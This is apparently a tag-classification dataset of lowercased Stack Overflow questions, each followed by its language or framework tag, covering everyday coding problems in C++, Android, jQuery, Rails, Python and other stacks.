i’m trying to calculate cosine by using maclaurin series in c++  but the results of my code aren’t as results of function cos().  for example when the input is 30 ; out put of cos() is  0.866025 and out put of my code is  0.46386.    also the loop doesn’t end when the input is 60 or more. i don’t know where is the error. what should i do to fix it    <pre><code>int main() {double deg; int num; cin&gt;&gt;deg; double x=deg*3.141592654/180; double term=0; double cur=x;   current term double result=x; double s=cos(x); cout&lt;&lt;s&lt;&lt;endl;  for(int n=0;;n++){ term=cur*(-x*x/(2*n+2)*(2*n+1));  if(abs(term-cur)&lt; eps){     cout &lt;&lt; result &lt;&lt; endl; return 0; }   else{      result+=term;      cur=term;   }   }     cout &lt;&lt; result &lt;&lt; endl;     return 0; } </code></pre>,c++
set value of input depending on element clicked in angular  i have made the  following plunker:    <a href= https://plnkr.co/edit/ff2o2tgc4wlad62fjmva p=preview  rel= nofollow >https://plnkr.co/edit/ff2o2tgc4wlad62fjmva p=preview</a>    i would like the value of the input to be the <code>item.name</code> clicked.    here is the code:   <pre><code>&lt;body ng-app= myapp &gt;  &lt;div ng-controller= mycontroller &gt;   &lt;ul ng-repeat= item in collection &gt;     &lt;li ng-click= edit( {{item.name}} ) &gt;{{item.name}}&lt;/li&gt;   &lt;/ul&gt; &lt;/div&gt;    &lt;input  name= myinput  ng-model= myinput   /&gt;  &lt;/body&gt; </code></pre>   js:   <pre><code>var app = angular.module( myapp   [])  .controller( mycontroller   function($scope  $http) {    $scope.collection = [       {name: foo }        {name: bar }        {name: foobar }        {name: barfoo }      ];    $scope.edit = function(current_name) {      this.myinput = current_name;      console.log(current_name);    }  }) </code></pre>,angularjs
error in dealing with object in cpp  i am pretty new to cpp. i face problem in the following code.<br>    i expect that when i call checkyo() again and again from main  the value of id should increase. however it remains the same.    **entered if    check is = 1    check is = 1    check is = 1    check is = 1    check is = 1    press any key to continue . . .**    <strong>however  i expect the out put to be</strong>    **entered if    check is = 1    check is = 2    check is = 3    check is = 4    check is = 5    <em><strong>please point out my mistake </em></strong>    <pre><code>#include&lt;iostream&gt; #include&lt;vector&gt; int count1; using namespace std;  class a{   int id;  public:  a(){       id=0;             }    void check()   {    ++id;    cout&lt;&lt; check is =   &lt;&lt; id &lt;&lt; endl;     }      };       class b{    vector&lt;a&gt; v; public:      void checkyo()    {        if(count1==1)        {            cout&lt;&lt;  entered if \n  ;            a a;            v.push_back(a);        }     a temp = v.back();     temp.check();    }    };  int main()  {        b b;     count1 =1;     b.checkyo();     count1++;      b.checkyo();     b.checkyo();     b.checkyo();     b.checkyo();      system( pause );     return 0;   } </code></pre>,c++
how to handle uipickerview with two data sources   is it possible to handle two data sources in the uipickerview      i have here a segmented control that would control the display of the picker view. so  for example  when first segment is clicked  the picker will display person s name. then  when second segment is clicked  picker will display place s name.     thanks,iphone
downloadable/browsable version of the .net framework source code   now that the source code to the .net framework has been made available  is there any way to actually view it that doesn t involve using visual studio to step into a framework class  several times now  i ve been curious just how something works and wished i could peek at some code  but don t feel like putting together an application and doing an autopsy in the debugger.    my google-fu has failed me  providing me only with blog posts announcing the fact that the source is available. (thanks  blogosphere!) i was positive that someone would have thrown it all up on the web by now.,.net
send gift from ios app  i have used this code for sending gift   <pre><code>nsstring *giftappurl = [nsstring stringwithformat:@ https://buy.itunes.apple.com/webobjects/mzfinance.woa/wa/giftsongswizard gift=1&amp;salableadamid=app_id&amp;producttype=c&amp;pricingparameter=stdq ]; [[uiapplication sharedapplication] openurl:[nsurl urlwithstring:giftappurl]]; </code></pre>   but when app will redirect to appstore it tells me  this feature is no longer supported .  does apple change url for the request  or disable this feature,ios
commas only working for first input field of multiple  i m trying to dynamically insert commas into each text input as you type numbers. however  it s only working for the first input and i can t figure out why.    here s my code:    <strong>html</strong>   <pre><code>&lt;input type= text  class= number  id= annual-income  name= annual_income &gt; &lt;input type= text  class= number  id= commission  name= commission &gt; &lt;input type= text  class= number  id= bonus  name= bonus &gt; &lt;input id= income-button  type= button  value= next &gt; </code></pre>   <strong>javascript</strong>   <pre><code>var el = document.queryselector( input.number );   el.addeventlistener( keyup   function (event) {     if (event.which &gt;= 37 &amp;&amp; event.which &lt;= 40) return;      this.value = this.value.replace(/\d/g    )       .replace(/\b( =(\d{3})+( !\d))/g     );   }); </code></pre>,javascript
adapter won t run on a real device  the same code that displays the lists running on the emulator doesn t run on the mobile (motorola milestone). i m using the same android platform (2.1-update).   <h2>inbox code</h2>  <pre><code>private arraylist&lt;emailmodel&gt; email_list;   private emailadapter email_adapter;   @override  public void oncreate(bundle savedinstancestate) {    super.oncreate(savedinstancestate);    try {    this.email_list = populate_list();    email_adapter = new emailadapter(this  email_list);    setlistadapter(email_adapter);    } catch (exception e) {    log.v( inbox    adapting problem:   + e.tostring());   }  } </code></pre>  <h2>emailadapter code</h2>  <pre><code>public class emailadapter extends baseadapter {    private arraylist&lt;emailmodel&gt; elements; private context c;  public emailadapter(context c  arraylist&lt;emailmodel&gt; emails) {   this.elements = emails;     this.c = c; } public int getcount() {      return elements.size(); }  public object getitem(int position) {      return elements.get(position); }  public long getitemid(int id) {      return id; }  public void remove(int id) {     notifydatasetchanged(); }  public void add(emailmodel email) {   this.elements.add(email);   notifydatasetchanged(); }  public view getview(int position  view convertview  viewgroup parent) {      linearlayout rowlayout;     emailmodel email = elements.get(position);      if (convertview == null) {      rowlayout = (linearlayout) layoutinflater.from(c).inflate(r.layout.inbox_item  parent  false);      } else {         rowlayout = (linearlayout) convertview;     }   textview subject_textview = (textview)rowlayout.findviewbyid(r.id.subject_textview);  subject_textview.settext(email.getsubject());   string body_hint =   -   + email.getbodyhint();   textview bodyhint_textview = (textview)rowlayout.findviewbyid(r.id.body_hint_textview);  bodyhint_textview.settext(body_hint);    string sender_name = get_sender_name(email.getsender());   textview sender_name_textview = (textview)rowlayout.findviewbyid(r.id.sender_textview);  sender_name_textview.settext(sender_name);   textview date_time_textview = (textview)rowlayout.findviewbyid(r.id.date_time_textview);   date_time_textview.settext(email.gettime());       return rowlayout; }  private string get_sender_name(string from) {   string[] sender = from.split( &lt; );   string sender_name;    try {    sender_name = sender[0];   } catch (exception e) {    sender_name = sender[1];   }   return sender_name;     }} </code></pre>  <h2>exception output</h2>  <blockquote>    07-16 13:15:21.190: verbose/inbox(429): adapting problem: java.lang.arrayindexoutofboundsexception  </blockquote>  <h2>stack trace</h2>  <blockquote>    07-16 14:00:49.690: warn/system.err(703): java.lang.arrayindexoutofboundsexception   07-16 14:00:49.698: warn/system.err(703):     at com.anubis.mail.inbox.populate_list(inbox.java:237)   07-16 14:00:49.698: warn/system.err(703):     at com.anubis.mail.inbox.oncreate(inbox.java:69)   07-16 14:00:49.698: warn/system.err(703):     at android.app.instrumentation.callactivityoncreate(instrumentation.java:1047)   07-16 14:00:49.698: warn/system.err(703):     at android.app.activitythread.performlaunchactivity(activitythread.java:2459)   07-16 14:00:49.706: warn/system.err(703):     at android.app.activitythread.handlelaunchactivity(activitythread.java:2512)   07-16 14:00:49.706: warn/system.err(703):     at android.app.activitythread.access$2200(activitythread.java:119)   07-16 14:00:49.706: warn/system.err(703):     at android.app.activitythread$h.handlemessage(activitythread.java:1863)   07-16 14:00:49.706: warn/system.err(703):     at android.os.handler.dispatchmessage(handler.java:99)   07-16 14:00:49.706: warn/system.err(703):     at android.os.looper.loop(looper.java:123)   07-16 14:00:49.706: warn/system.err(703):     at android.app.activitythread.main(activitythread.java:4363)   07-16 14:00:49.706: warn/system.err(703):     at java.lang.reflect.method.invokenative(native method)   07-16 14:00:49.706: warn/system.err(703):     at java.lang.reflect.method.invoke(method.java:521)   07-16 14:00:49.706: warn/system.err(703):     at com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:860)   07-16 14:00:49.706: warn/system.err(703):     at com.android.internal.os.zygoteinit.main(zygoteinit.java:618)   07-16 14:00:49.706: warn/system.err(703):     at dalvik.system.nativestart.main(native method)  </blockquote>,android
(simple ) pointer to non-static member function question  see the code below - i want to know how to  or if it is even possible to  write the body of a::dothisorthat()   <pre><code>class a {   void dothis( void ) { // any function body you like... }   void dothat( void ) { // any function body you like... }    void dothisorthat( const bool dothis ); };  void a::dothisorthat( const bool dothis ) {     void (*pmemberfunction)( void );     pmemberfunction = dothis  &amp;a::dothis : &amp;a::dothat;      (*pmemberfunction)();    // member function invoked controlled by parameter } </code></pre>   all three lines of this function may need rewriting to correctly scope the member function. as written  i get a calling convention conflict on the second line where i assign pmemberfunction. i cannot lay my hands on a simple example clarifying this - all the examples easily found declare a member variable to hold the member function pointer. can i not just create a local variable to do the same,c++
add dynamic evaluation on obj-c  i know obj-c is a compiled language and doesn t offers any <em>eval</em> funcionality like python or ruby  but i need some dynamics functinality and i cannot decide between two different approac.    the problem: you have a string that describe a complex math formula  like    <code>@ var_a + 4 - (3 * var_b) </code>    i already have a way evaluate the current value from <code>var_a</code> and <code>var_b</code> so  the first step is ok. the second step is evaluate the formula and we have at least two different options:   <ol> <li>create a string and try to evaluate with javascript engine (very bad idea).</li> <li>map in objects obj-c the basic idea of formula matematica. i m talking about create at example an object  <code>sum_object</code> that accept two different operand and return the sum of the two parameters (and so on...like division etc).</li> <li>use ddmathparser.</li> </ol>   i think the point number 2 is the best solution....any advices     thanks.,objective-c
iphone photo maximum size  i want to know there a limitation in size for an iphone to display an image  as the resolution of iphone is 320*480 px.  i am developing an app which fetches photos from an url and that url contains some photos os size > 600kb.so when i launch the app in simulator it behaves properly but in device the application crashes as soon as photos with higher resolution are displayed   and when lower resolution photos are displayed the app does not crash in the device.,iphone
asp.net looking to count the number of files in a directory  just wondering how i could get a count on the number of files in a given directory with extension .txt      thanks,asp.net
camera preview via android application  in order to preview the camera  i ve written code segments below. i could not get any preview. can you help me to solve the problem      i have configured my application with the permissions ;   <pre><code>    &lt;uses-permission android:name= android.permission.camera  /&gt; &lt;uses-feature android:name= android.hardware.camera  /&gt; </code></pre>   i have created the surface place    <pre><code>&lt;surfaceview     android:id= @+id/cameraview      android:layout_width= wrap_content      android:layout_height= wrap_content      android:layout_alignparentleft= true      android:layout_alignparenttop= true  /&gt; </code></pre>   i ve written code segments below to preview the camera ;   <pre><code>public class mainactivity extends activity  {  surfaceview surfaceview; surfaceholder surfaceholder;  @override     protected void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);         setcontentview(r.layout.activity_main);          getwindow().setformat(pixelformat.unknown);         surfaceview = (surfaceview)findviewbyid(r.id.cameraview);         surfaceholder = surfaceview.getholder(); }   private void preview ( ) {      try {              camera.setpreviewdisplay(surfaceholder);              camera.startpreview();     } catch ( ioexception void_) {         ;     } } </code></pre>,android
select value in javascript  i have this select element which i want to update the current url to url&amp;number=value of selected item.    however  i can t figure how to catch the value.   <pre><code>&lt;select name= prside  onchange= document.location.href = document.location.href +  &amp;number=  + value&gt;     &lt;option&gt;annoncer pr. side&lt;/option&gt;     &lt;option value= 5 &gt;5&lt;/option&gt;     &lt;option value= 10 &gt;10&lt;/option&gt;     &lt;option value= 20&gt;20&lt;/option&gt;     &lt;option value= 40 &gt;40&lt;/option&gt; &lt;/select&gt; </code></pre>,javascript
print the final result at the end of whole loop  the code block looks like    <pre><code>regions = [ us-east-1   us-west-1   us-west-2   eu-west-1   sa-east-1   ap-southeast-1   ap-southeast-2   ap-northeast-1 ]  data = [] header = [ port   open for   security group   instance details ]      for region in regions:         connection=ec2.connect_to_region(region)         sg = connection.get_all_security_groups()         try:             for securitygroup in sg:                for rule in securitygroup.rules:                    if  0.0.0.0/0  in str(rule.grants):                       for instanceid in securitygroup.instances():                           instanceid=str(instanceid)                          # print instanceid                           tag = gettag(connection  instanceid.split( : )[1])                           if tag is not none:                             # print tab                                              tab =[str(rule.to_port)  0.0.0.0/0  str(securitygroup.name) str(gettag(connection  instanceid.split( : )[1]))]                                data.append(tab)             print tabulate(data  headers=header  tablefmt= simple ) </code></pre>   this produces the result as :   <pre><code>  port  open for    security group           instance details ------  ----------  -----------------------  ------------------------------------------------------------------------  65535  0.0.0.0/0   launch-wizard-mingjun    (u testvm10001   u 192.168.0.93   regioninfo:us-east-1)     22  0.0.0.0/0   launch-wizard-mingjun    (u testvm10001   u 192.168.0.93   regioninfo:us-east-1)     80  0.0.0.0/0   ssh+https                (u security_monkey_production   u 172.30.2.31   regioninfo:us-east-1)     22  0.0.0.0/0   ssh+https                (u security_monkey_production   u 172.30.2.31   regioninfo:us-east-1)    443  0.0.0.0/0   ssh+https                (u security_monkey_production   u 172.30.2.31   regioninfo:us-east-1)     22  0.0.0.0/0   na-prod-1w-secgroup      (u na-prod-1w-scc-94a54e56   u 10.197.51.19   regioninfo:us-west-1) </code></pre>   waits here for sometime and then prints    <pre><code>  port  open for    security group           instance details ------  ----------  -----------------------  ------------------------------------------------------------------------  65535  0.0.0.0/0   launch-wizard-mingjun    (u testvm10001   u 192.168.0.93   regioninfo:us-east-1)     22  0.0.0.0/0   launch-wizard-mingjun    (u testvm10001   u 192.168.0.93   regioninfo:us-east-1)     80  0.0.0.0/0   ssh+https                (u security_monkey_production   u 172.30.2.31   regioninfo:us-east-1)     22  0.0.0.0/0   ssh+https                (u security_monkey_production   u 172.30.2.31   regioninfo:us-east-1)    443  0.0.0.0/0   ssh+https                (u security_monkey_production   u 172.30.2.31   regioninfo:us-east-1)     22  0.0.0.0/0   na-prod-1w-secgroup      (u na-prod-1w-scc-94a54e56   u 10.197.51.19   regioninfo:us-west-1)    443  0.0.0.0/0   na-prod-1w-secgroup      (u na-prod-1w-scc-94a54e56   u 10.197.51.19   regioninfo:us-west-1)     80  0.0.0.0/0   sfo01-devops-haproxy-sg  (u sfo01-cwptest-lbi-f207da47   u 192.168.80.171   regioninfo:us-west-1)     80  0.0.0.0/0   sfo01-devops-haproxy-sg  (u sfo01-cwptest-lbi-e1a72422   u 192.168.80.156   regioninfo:us-west-1)    443  0.0.0.0/0   sfo01-devops-haproxy-sg  (u sfo01-cwptest-lbi-f207da47   u 192.168.80.171   regioninfo:us-west-1)    443  0.0.0.0/0   sfo01-devops-haproxy-sg  (u sfo01-cwptest-lbi-e1a72422   u 192.168.80.156   regioninfo:us-west-1)  65535  0.0.0.0/0   nishant-open             (u poc-demo-es/kib   u 10.205.11.150   regioninfo:us-west-2)     22  0.0.0.0/0   nishant-open             (u poc-demo-es/kib   u 10.205.11.150   regioninfo:us-west-2)   5601  0.0.0.0/0   nishant-open   .... </code></pre>   why not in one go,python
custom java type that acts like boolean   i d like to create a type that can be used in the same manner as <code>boolean</code>. specifically  i d like the test construct to work:   <pre><code>if (mytype) {   system.out.println( true ); } </code></pre>   clearly the language defines this as a special case in <a href= http://docs.oracle.com/javase/specs/jls/se8/html/jls-5.html#jls-5.1.7  rel= nofollow >section 5.1.7</a>. and a test application shows it:   <pre><code>public class typebooltest {   public static void main(string args[]) {     boolean bool = true;      if (bool) {       system.out.println( bool = true );     } else {       system.out.println( bool = false );     }   } }  /** compiled from  typebooltest.java  public class typebooltest {   public typebooltest();     code:        0: aload_0        1: invokespecial #1                  // method java/lang/object. &lt;init&gt; :()v        4: return    public static void main(java.lang.string[]);     code:        0: iconst_1        1: invokestatic  #2                  // method java/lang/boolean.valueof:(z)ljava/lang/boolean;        4: astore_1        5: aload_1        6: invokevirtual #3                  // method java/lang/boolean.booleanvalue:()z        9: ifeq          23       12: getstatic     #4                  // field java/lang/system.out:ljava/io/printstream;       15: ldc           #5                  // string bool = true       17: invokevirtual #6                  // method java/io/printstream.println:(ljava/lang/string;)v       20: goto          31       23: getstatic     #4                  // field java/lang/system.out:ljava/io/printstream;       26: ldc           #7                  // string bool = false       28: invokevirtual #6                  // method java/io/printstream.println:(ljava/lang/string;)v       31: return } **/ </code></pre>   extending <code>boolean</code> won t work because the class is final.    so my question is: is it possible to define a custom type such that java will recognize that it follows the <code>boolean</code> boxing and unboxing rules,java
event.getaction() == motionevent.action_down is not true when setontouchlistener returns false  i need to implement onitemlongpresslistener as well as ontouchlistener.they don t work together so i have to return false from ontouch listner in other for item long press listener to get triggered as well.    i need the image button to change when i touch the imagebutton but since my on touch listener is returning false the image stays on the pressed down state.    how can i make it change the button image when i am no longer touching the button    <pre><code>imageview.setontouchlistener(new ontouchlistener() {                  @override                 public boolean ontouch(view v  motionevent event) {                     if (event.getaction() == motionevent.action_down) {                         imageview.setimageresource(mthumbidspressed[position]);                     } else {                         imageview.setimageresource(mthumbids[position]);                     }                     recordaudio.startplaying(position);                      return false;                 }             }); </code></pre>,android
make jquery wait for href change before it reads href   imagine the following markup:   <pre><code>&lt;a href= #link01 &gt;1&lt;/a&gt; &lt;a href= #link02 &gt;2&lt;/a&gt; </code></pre>   and:   <pre><code>$( a ).click(function(){    var href = $(location).attr( href )     hreflenght = href.length     hrefpos = href.indexof( # )     hrefpage = href.slice(hrefpos+1);    alert(hrefpage); }); </code></pre>   now  what happens after you click a link is that jquery alerts the <code>hrefpage</code> which was there <strong>before</strong> you clicked the link  not <strong>after</strong>  as expected. therefore:    1) i m located at <code>http://www.example.com/#link01</code><br> 2) i click a link<br> 3  result) <code>link01</code> is echoed<br> 3  expected) <code>link02</code> is echoed    any ideas how to fix this     edit: why am i using location instead of href  because i want the aforementioned code to work also when the page loads with the href without anything having been clicked at all and i don t think it s a good idea to write two pieces of code for the same process,jquery
python job queue library for desktop  i want to develop a pyqt contacts list desktop application and i wanted some jobs to be performed from time to time when some event happens.for instance i want when i hit the contact button a job of sending an emial is added to the queue and is done after 5 minutes.    i have seen some job queuing solutions and they require redis or some other kind of a broker.i want my app to be simple and so bundling servers such as redis is not something i would like.    is there a simple job queue that i can use to perform the simple jobs i plan on having in my app without requiring huge service brokers .,python
how do i call a function from an external html document   so what i want to do is call a  function  from an external document into my webpages  similar to how in c++ you can create a header file and place your functions there  link it back to your main program and call the functions at will.    i need to make the website with changing it in mind  and my thoughts were to have the nav bar/menu separate so that it can be tweaked without having to go to each page and copy in the new code  as this is obviously time consuming.    ive tried using an iframe  but it created more problems than it solved  as when a link was pressed the new webpage opened inside the iframe  which isn t what i wanted.    is there a method doing this or am i going to have to leave it,html
what is correct php syntax for $foo->bar :: garply()   in php 5.3 you can do:   <pre><code>$baz::waldo(); </code></pre>   can you do the equivalent of   <pre><code> $foo-&gt;bar::garply();   //generates an error  {$foo-&gt;bar}::garply();    //this too </code></pre>   without resorting to    <pre><code>$baz = $foo-&gt;bar; $baz::garply();   // while this works </code></pre>,php
design strategy for c# access levels for object mapping  i ve written a group of classes that access the database to map db data to objects. other programmers will be manipulating the objects  and so i m trying to make it as difficult as possible for them to do anything that would break any contracts. one of the things that would help is to make the id (primary key) read-only. however  at some point or another  an id will need to be assigned to the object.    in java  i d simply group all of the db access classes into a package  and declare a couple of methods in my abstract class   <pre><code>public int getid() { return id; } default void setid(int id) { this.id = id; } </code></pre>   so that only members of the same package could set the id. i m having trouble coming up with a good design in c#  though. currently  the constructor to db objects takes an <code>int </code> that should be set to <code>null</code> before an object has persisted to the db. if <code>id</code> is not set to null when instantiated outside of the db-access classes  some contracts might be broken. i d make a second constructor that doesn t take an argument for the id for access outside of the db-access classes  but i m running into the same problem with restricting access appropriately: if the constructor is accessible to classes in the same namespace / partial class  it s accessible to the assembly.    does anyone have any good design strategies for handling a situation like this with c#,c#
validations for rows and columns in the csv file matching with mysql databse fields  i did the task of importing csv file to mysql databse. but now my requirements are: 1. rows and columns of csv file should match with rows and columns of mysql database such that if any row or column is missing  it should raise an error:  missing @row1 or column 2 .. 2. in my code  table header i.e. name  location  city etc; headings are often repeating on every import.     my code as follows:   <pre><code>def load_csv  end   def import_csv csv=params[:file].read n=0 parsed_file = csv.parse(csv) parsed_file.each  do |row| i=user.new i.name = row[0] i.location = row[1] i.city = row[2] if i.valid  i.save n=n+1 gc.start if n%50==0 flash[:notice] =  csv imported successfully  with  #{n} records                                  end end </code></pre>   in views:   <pre><code>&lt;%= form_for(:user  :url =&gt; import_csv_user_path   :html =&gt; {:multipart =&gt; true}) do |f| %&gt;  &lt;table&gt; &lt;tr&gt; &lt;td&gt; &lt;label for= dump_file &gt; select a csv file : &lt;/label&gt; &lt;/td&gt; &lt;td &gt;&lt;%= file_field_tag :file -%&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td colspan= 2 &gt;&lt;%= submit_tag  submit  -%&gt;&lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; &lt;% end -%&gt; </code></pre>   please help me out......,ruby-on-rails
how do i set and reset my hidden text field to empty using jquery code below   i am using the code below to pop a text field onchange of certain drop-downs.  works perfectly  but i ran into one issue and i can t seem to get it to work.  onload  the hidden text box has  <strong>select</strong>  as text within it.  {select is the default 0 value}. if the user does not select anything from the dropdowns  then the text  <strong>select</strong>  causes an error when the data is sent because it does not match a value that is on the receiving end.    i want to alter the code below to include the following: onload >> hidden text field is set to empty/equals nothing if value  select  is in the hidden text feild  change to empty/equals nothing   <pre><code>$(document).ready(function() {         $( select#4359  select#4360  select#4361  select#4362  select#4374  select#4378 ).change(function(){             $( #5334 ).val($(this).find( :selected ).text());         })         .trigger( change );     }); </code></pre>,jquery
how to add one month in current month   suppose the current month is  oct . i want that it will add one month in current month i.e it will show  nov . for this my code is written below but it gives exception that input string was not in a correct format.     so please correct the code    <pre><code>if (convert.toint32(ddlmonth.selectedindex ) &lt;= convert.toint32(datetime.now.addmonths(1).tostring()))             {                 totalbalanceuptoselectedpreviousmonth();             } </code></pre>,asp.net
rails  after remote delete of item i get: first argument in form cannot contain nil or be empty  i want to delete an image on click.  this is in my view   <pre><code>&lt;%=form_for @area  url: areas_update_path  remote: true  html: {class:  form-horizontal  :multipart =&gt; true} do |f|%&gt; .... &lt;% @area.area_attachments.each do |a| %&gt;   &lt;%unless a.image.blank %&gt;     &lt;%= link_to delete_area_attachment_path(a)  :remote =&gt; true  :method =&gt; :delete do%&gt;        &lt;%= image_tag a.image_url(:thumb)  class: delete-image  %&gt;                      &lt;% end %&gt;    &lt;% end %&gt; &lt;% end %&gt; .... &lt;% end %&gt; </code></pre>   after i click on an image  the image gets deleted  but i get    <blockquote>    first argument in form cannot contain nil or be empty  </blockquote>   in the first line of the code that i posted (@area i guess)    my delete_area_attachment method in my area_attachments_controller   <pre><code>def delete_area_attachment    @areaattachment = areaattachment.find(params[:id])    @areaattachment.destroy     respond_to do |format|      format.js    end end </code></pre>   i guess the @area variable has to be initialized  but why  what i am trying to delete is an area_attachment not an area  and i already initialized it  so what does the @area variable has to do with that     how do i go about it here     <strong>edit:</strong> my relative routes:   <pre><code>#area paths   get  /areas/new   to:  areas#new   :as =&gt;  areas_new    post  /areas/create   to:  areas#create   :as =&gt;  areas_create    get  /areas/:id/destroy   to:  areas#destroy   :as =&gt;  areas_destroy    delete  delete_area/:id   controller:  areas   action:  delete_area    get  /areas/:id/edit   to:  areas#edit   :as =&gt;  areas_edit    patch  /areas/:id/update   to:  areas#update   :as =&gt;  areas_update     #area attachment paths    delete  delete_area_attachment/:id   controller:  area_attachments   action:  delete_area_attachment   :as =&gt;  delete_area_attachment  </code></pre>   my areas_controller   <pre><code>class areascontroller &lt; applicationcontroller      before_action :set_areas     before_action :set_area  only: [:edit  :delete  :update  :destroy]       def new         @area = area.new         @languages = language.all         @area_attachment = @area.area_attachments.build     end      def create         @area = area.new(area_params)          if @area.save &amp;&amp; manage_strings             params[:area_attachments][ image ].each do |a|                 @area_attachment = @area.area_attachments.create!(:image =&gt; a  :area_id =&gt; @area.id)             end             @status =  success          else             @status =  error              @errormessages = @area.errors.full_messages         end         respond_to do |format|             format.js         end     end      def edit              end      def update         if @area.update(area_params) &amp;&amp; manage_strings             params[:area_attachments][ image ].each do |a|                 @area_attachment = @area.area_attachments.create!(:image =&gt; a  :area_id =&gt; @area.id)             end             @status =  success          else             @status =  error              @errormessages = @area.errors.full_messages         end         respond_to do |format|             format.js         end     end      def delete_area         @area = area.find(params[:id])         @area.destroy          respond_to do |format|             format.js         end     end      def find_area_by_id         area = area.find(params[:id])         render json: area     end      protected      def news_list         respond_to do |format|             format.js         end     end        private      def area_params       params.require(:area).permit(:id  area_attachments_attributes: [:id  :area_id  :image])    end      def set_area         @area = area.find_by_id(params[:id])         @languages = language.all         @area_attachments = @area.area_attachments.all     end      def set_areas         @areas = area.all     end      def manage_strings         if params[:area][:strings].any              params[:area][:strings].each do |key value|                 string = @area.article_localizations.find_or_initialize_by(:language_id =&gt; key.to_i)                 string.title = params[:area][:strings][key][:title]                 string.text = params[:area][:strings][key][:text]                 string.save             end         end      end  end </code></pre>,ruby-on-rails
can i use jquery functions on a variable and not have jquery reference the dom over and over again  <pre><code>var x = $( element ); $(x).width(95); </code></pre>   very  very new to jquery. i want to get an item from the dom and use jquery functions on that item. i want to make sure i am not getting the item from the dom over and over again. would this do that or am i getting the item from the dom the second time     if i am can avoid that and use jquery functions  how would i do that     do i need to care  i feel that i really should.,jquery
asp.net global events  which event is the most suitable to check for session expired  i m trying to trap each server request  and if session is null  redirect to a different page.,asp.net
what s the standard max width for css  so i want the css to change when the user makes the window just a few tens of  pixels smaller. but i don t know what s the width i need to use. my monitor is 1440x900  but other people have 1920x1080... and let s not forget about the 4k monitors. what s the width that i put here    <pre><code>    @media screen and (max-width:..... ){} </code></pre>,css
file.write appends a new line automatically in python  i am trying to append multiple words with a word in python for writing it to a file as below :    <pre><code>out_file.write(words+ positive ) </code></pre>   i am not using <code>\n</code> here. but the output turns out to be in 2 lines as below :   <pre><code>it is awesome awesome. positive </code></pre>   what i am expecting is <code>it is awesome. positive</code>. please help.,python
create slide show using post handler  i am making andriod app to slide show the image one by one images are inbulit in drawable i am using this code for the app their is no error in it but still my app is not working please help me out i am really in need please help me out or their is any other way to do slide show of 100 images one by one then please help and this is the which i have made code    <pre><code>public class third extends activity { imageview img ; handler handler; int i; int[] drawables = {r.drawable.a r.drawable.b r.drawable.c r.drawable.d r.drawable.e r.drawable.f r.drawable.g}; @override     protected void oncreate(bundle savedinstancestate) {         // todo auto-generated method stub         super.oncreate(savedinstancestate);         setcontentview(r.layout.third);          img = (imageview) findviewbyid(r.drawable.a);          for (i = 1; i&lt;drawables.length;)         {               handler = new handler();                 handler.postdelayed(new runnable() {                   @override                   public void run() {                       img = (imageview) findviewbyid(drawables[i]);                       i++;                   }                 }  2000);            }      }  } </code></pre>,android
what is the function of scope resolution operator in class name in the class definition   how to interpret the name of class in following piece of c++ code       following code is part of a project which is compiling successfully with g++ compiler.    <pre><code>class abc::def {    public :       int a;       void func(); };  void abc::def::func() { a = 3; }   abc::abc() : obj(new def())     { } abc::~abc() {   delete obj; } </code></pre>  <ul> <li>how to interpret abc def and obj in the above code </li> <li>how the constructor defined above works  </li> </ul>,c++
unknow symbol in while loop of java  i am reading some codes and i saw someone wrote <code>while (t--&gt;0)</code>    i dont know what that means  i mean what the symbol <code>--&gt;</code> stand for. i am just beginner  so sorry if my question is stupid,java
debug models with the rails console  not sure why this is happening:   <pre><code>2.0.0p247 :001 &gt; user.column_names  =&gt; [ id    user_name    email    password_digest    created_at    updated_at    register_key    culminated    remember_token    register_token_created_at    profile_image    licence_image    first_name    last_name    nearest_town ]  2.0.0p247 :002 &gt; user1 = user.create(user_name:  james   email:  james@killbots.com   first_name: jj   last_name: jj   nearest_town: mordor )  =&gt; #&lt;user id: nil  user_name:  james   email:  james@killbots.com   password_digest: nil  created_at: nil  updated_at: nil  register_key: nil  culminated: nil  remember_token: nil  register_token_created_at: nil  profile_image: nil  licence_image: nil  first_name:  jj   last_name:  jj   nearest_town:  mordor &gt;  2.0.0p247 :003 &gt; user1.update(user_name:  killo )  =&gt; false  </code></pre>   rather than a solution  how would you go about debugging this problem from the console,ruby-on-rails
privacy camera description issue in info.plist  i m making an app in which there is camera usage. i have added the key <code>privacy - camera usage description</code> and i have added the description also with it.  use camera to display arkit content.     but when i run the app it crashes my app with this error:   <blockquote>    this app has crashed because it attempted to access privacy-sensitive data without a usage description.  the app s info.plist must contain an nscamerausagedescription key with a string value explaining to the user how the app uses this data.  </blockquote>   i m confused why i m getting this error since i have added it in the info.plist.,ios
jquery selector with dash and spaces of classname  i know that if i have a class name (with spaces)  e.g.    <pre><code>my classname </code></pre>   i can create a class selector with:   <pre><code>.my.classname </code></pre>   however  how can i create a class selector if i have dashes between spaces like this:   <pre><code>my - classname and others </code></pre>   or this:   <pre><code>my - clasname </code></pre>   thanks for the tips.,jquery
including html <meta> element conditionally  firstly  i ve done some google ing and found the ie  conditional comment  and understand it s non-standard. i also get the impression there is no standard html  if  so my question is about what i need to do to achieve the same effect (javascript perhaps )...    i d like to conditionally include an external .html file (from a selection of external .html files). specifically  the external files each contains nothing but a <code>&lt;meta&gt;</code> element on a single line. alternatively is it possible to have multiple inline <code>&lt;meta&gt;</code> elements in a html file and to  choose  one conditionally (effectively ignoring the others)     basically  can i do something that would achieve the same as one of either of these pseudo code examples     example using pseudo code for external files...   <pre><code>&lt;html&gt;     &lt;head&gt;         if some-condition             &lt;!--#include file= meta1.html  --&gt;         else             &lt;!--#include file= meta2.html  --&gt;         ...     &lt;/head&gt;      ... &lt;/html&gt; </code></pre>   alternative example (again pseudo code) for selecting alternative  elements directly...   <pre><code>&lt;html&gt;     &lt;head&gt;         if some-condition             &lt;meta name= viewport  content= abc  /&gt;         else             &lt;meta name= viewport  content= def  /&gt;         ...     &lt;/head&gt;      ... &lt;/html&gt; </code></pre>   note: in all cases the <code>&lt;meta name</code> attribute will always be <code>viewport</code> - it s just the <code>content</code> attribute which needs changing perhaps with some other attributes.    <strong>edit:</strong> the main condition would be the type of client. one example is that to help correctly size web app pages on an android device you can use certain <code>content</code> data for the <code>viewport</code> that only android devices understand. for conventional browsers  i would set a default set of data for <code>content</code> (for width/height for example). this could also be expanded for other clients such as google tv  ios etc etc.,html
